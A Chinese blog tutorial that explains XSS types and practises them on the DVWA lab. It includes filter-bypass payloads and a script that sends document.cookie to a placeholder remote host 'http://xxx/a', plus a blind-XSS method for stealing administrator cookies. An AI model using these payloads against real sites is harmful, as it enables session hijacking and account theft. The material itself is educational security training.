【网络安全的神秘世界】XSS基本概念和原理介绍

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

一、基本概念

恶意攻击者往web页面插入恶意代码脚本(JS代码),当用户浏览该页面时,嵌入web里面的JS代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS

XSS漏洞利用条件:能插入,能执行

二、XSS分类

2.1 反射型

也叫非持久型,常见的就是在url中构造,将恶意链接发送给目标用户。当用户访问链接的时候,会向服务器GET请求来访问带有恶意代码的链接。造成反射型XSS主要是GET类型

在这里插入图片描述

先输入恶意代码,造成弹窗说明攻击成功了

在这里插入图片描述

但是去了其他页面后再回来,攻击就没有了

在这里插入图片描述

像刚才的攻击流程,攻击一次立马失效,这就叫非持久型

2.2 存储型

也叫持久型,常见的就是在博客留言版、反馈投诉、论坛评论等位置,将恶意代码和正文都存入服务端,每次访问都会触发恶意代码
在这里插入图片描述

输入恶意代码,造成攻击

在这里插入图片描述

发现恶意代码被浏览器保存到页面了,访问其他网页再回来,仍会造成攻击,这就叫持久型

在这里插入图片描述

--------为什么写出来的恶意代码看不到?

因为js代码被浏览的解析引擎解析掉了,所以看到的是个空值

2.3 DOM型

属于反射型XSS,在网页的标签中写入js代码

三、手工测试

漏洞练习靶场:dvwa

3.1 反射性XSS

LOW低级

img标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件

<img src=## onerror=alert(document.cookie)>

在这里插入图片描述

a标签支持onmouseover事件,需要鼠标移动到a标签的位置才能触发

<a onmouseover=alert(document.cookie)>请点击</a>

在这里插入图片描述

a标签可以用来钓鱼或者暗链

Medium中级

输入,发现不能出现弹窗

在这里插入图片描述

查看dvwa源代码,发现对<script></script>进行了过滤,替换为空格

在这里插入图片描述

有很多绕过方式,可以尝试一下大小写混淆或双写绕过,或者也可以使用其他标签

大小写混淆:<ScRipt>alert(1)</script>
双写绕过:<sc<script>ript>alert(1)</script>
其他标签:<img src=x onerror=alert(1)>
High高级

通过正则表达式进行过滤<script>,可以换个标签进行绕过

在这里插入图片描述

把正则表达式复制粘贴到这个网站上,测试匹配结果:正则表达式在线测试

根据网页设置的正则表达式要勾选上-i

在这里插入图片描述

DOM XSS

通过自己声明的img标签反弹cookie

<script>var img=document.createElement("img");img.src=alert(document.cookie);</script>

发送cookie到远程服务器

<script>
 img=document.createElement("img");img.src="http://xxx/a?"+escape(document.cookie);
</script>

+:连字符,表示拼接

escape:在Java中表示一个编码,会对括号里的内容进行编码

无论访问成功与否都不重要,重要的是在http://xxx/a中会留下访问日志,攻击者就能获得cookie值

3.2 存储型XSS

LOW低级

直接输入测试代码<script>alert(1)</script>点击提交

在这里插入图片描述

Medium中级

输入测试代码<script>alert(1)</script>,没有造成弹窗

在这里插入图片描述

尝试换成<img>标签,发现还是不行

在这里插入图片描述

没什么思路了,去看看源代码吧

在这里插入图片描述

发现name输入框更好绕过,我们在name输入测试代码

但是发现name输入框有长度限制

在这里插入图片描述

可以在包里面进行修改

在这里插入图片描述

也可以按F12键,把长度改大或删除

在这里插入图片描述

High高级

直接看代码吧

在这里插入图片描述

同理,还是选择简单的name输入框进行测试

在这里插入图片描述

在这里插入图片描述

四、盲打

输入的内容提交后并不知道去哪里了

像下图就是盲打的场景

在这里插入图片描述

普通用户看不到,但是管理员账户可以看到

我们可以构造恶意代码,观察远程服务器web日志,只要网站管理员访问,它的cookie值就被盗取

在这里插入图片描述

当管理员登录后台后,还没反应过来就被攻击了

在这里插入图片描述

在这里插入图片描述

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-10 10:04:02       99 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-10 10:04:02       107 阅读
  3. 在Django里面运行非项目文件

    2024-07-10 10:04:02       90 阅读
  4. Python语言-面向对象

    2024-07-10 10:04:02       98 阅读

热门阅读

  1. Knife4j的原理及应用详解(四)

    2024-07-10 10:04:02       33 阅读
  2. Stable Diffusion 深入浅出,一看就会

    2024-07-10 10:04:02       29 阅读
  3. Oracle 动态编译数据库对象

    2024-07-10 10:04:02       30 阅读
  4. 从“技术驱动”向“应用驱动”

    2024-07-10 10:04:02       36 阅读
  5. HTML(30)——动画

    2024-07-10 10:04:02       29 阅读
  6. 贪心算法-以高校教材管理系统为例

    2024-07-10 10:04:02       27 阅读
  7. 使用 .NET 实现 MongoDB

    2024-07-10 10:04:02       33 阅读
  8. ES5/ES6补充笔记

    2024-07-10 10:04:02       24 阅读
  9. Conda Channels全掌握:Linux中添加与移除的艺术

    2024-07-10 10:04:02       36 阅读